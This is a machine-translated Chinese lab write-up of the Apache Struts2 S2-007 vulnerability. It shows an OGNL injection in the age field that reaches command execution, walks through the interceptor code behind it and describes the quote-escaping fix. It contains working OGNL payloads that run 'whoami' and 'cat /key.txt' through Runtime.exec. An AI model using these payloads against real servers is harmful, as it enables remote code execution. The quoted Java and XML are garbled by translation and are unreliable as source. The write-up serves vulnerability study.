前言
继上回S2-001之后,继续分析了S2-007,若有疏漏,还望多多指教。
进攻环境根据vulhub中的环境修改而来https://github.com/vulhub/vulhub/tree/master/struts2/s2-007
这回的S2-007和上回的S2-001中断环境地址https://github.com/kingkaki/Struts2-Vulenv
有学者的师傅可以一起分析下
进攻信息
官方漏洞信息页面:https ://cwiki.apache.org/confluence/display/WW/S2-007
形成原因:
发生转换错误时,将用户输入评估为OGNL表达式。这允许恶意用户执行任意代码。
当配置了验证规则,类型转换出错时,进行了错误的字符串拆分,靴子造成了OGNL语句的执行。
进攻利用
这里我配置了一个UserAction-validation.xml
验证表单
<?xml version =“ 1.0” encoding =“ UTF-8”?> <!DOCTYPE验证程序PUBLIC “-// OpenSymphony Group // XWork Validator 1.0 // EN” “ http://www.opensymphony.com/xwork/ xwork-validator-1.0.2.dtd“> <validators> <字段 名称= “年龄” > <field-validator 类型= “ int” > <param 名称= “ min” > 1 </ param> <param name = ” max“ > 150 </ param> </ field-validator> </ field> </ validators>
限制了age的值只能为int
,而且长度在1-150之间
然后在登录界面用户名和邮箱值随意,age部分替换我们的payload
'+(#application)+'
在age的值部分,成功有了回显
命令执行
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
修改whoami
部分就可以执行任意命令
比如 打开根目录下的 key.txt文件:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '
进攻分析
进攻主要发生在S2-007/web/WEB-INF/lib/xwork-core-2.2.3.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.class:28
公共 字符串 拦截(ActionInvocation 调用) 引发 异常 { ActionContext invocationContext = 调用。getInvocationContext (); 映射< String , Object > conversionErrors = invocationContext 。getConversionErrors (); ValueStack stack = invocationContext 。getValueStack (); HashMap < 对象, 对象> fakie = 空; 迭代器 i $ = conversionErrors 。entrySet ()。迭代器(); 而(I $ 。hasNext ()) { 条目< 字符串, 对象> 条目 = (条目)I $ 。next (); 字符串 propertyName = (字符串)条目。getKey (); 对象 值 = 条目。getValue (); 如果 (此。shouldAddError (propertyName的, 值)) { 字符串 消息 = XWorkConverter 。getConversionErrorMessage (propertyName , stack ); 对象 操作 = 调用。getAction (); if (ValidationAware的动作 实例 ){ ValidationAware va = (ValidationAware )的动作; va 。addFieldError (propertyName ,message ); } 如果 (fakie == null ) { fakie = new HashMap (); } 飞骑。放(propertyName的, 此。getOverrideExpr (调用, 值)); } } if (fakie != null ) { 堆栈。getContext ()。put (“ original.property.override” , fakie ); 调用。addPreResultListener (新 PreResultListener () { 公共 空隙 beforeResult (ActionInvocation 调用, 字符串 发送resultCode ) { 地图< 对象, 对象> 飞骑 = (地图)调用。getInvocationContext ()。get (“ original.property.override” ); 如果 (fakie != null ) { 调用。getStack ()。setExprOverrides (fakie ); } } }); } 返回 调用。invoke (); }
当类型出现错误的时候,就会进入这个函数
这里可以Object value = entry.getValue();
看到,在中收回了预期的有效载荷
再来到后面的fakie.put(propertyName, this.getOverrideExpr(invocation, value));
跟进this.getOverrideExpr(invocation, value);
受保护的 对象 getOverrideExpr (ActionInvocation 调用, 对象 值) { return “'” + value + “'” ; }
这也就解释了为什么payload的分开要加'+
,+'
就是为了闭合这里的分开的引号
对加入fakie
的值值就变成了''+(#xxxx)+''
的形式
进来后面放入了invocation
值中,最后调用了invoke()
解析OGNL成功代码执行
进攻修复
struts2.2.3.1对这个突破进行了修复,修复方法也异常简单,例如sql注入的addslashes
,对其中的单引号进行了转义
在getOverrideExpr
函数中进行了StringEscape
,从而无法封闭单引号,也就无法构造OGNL表达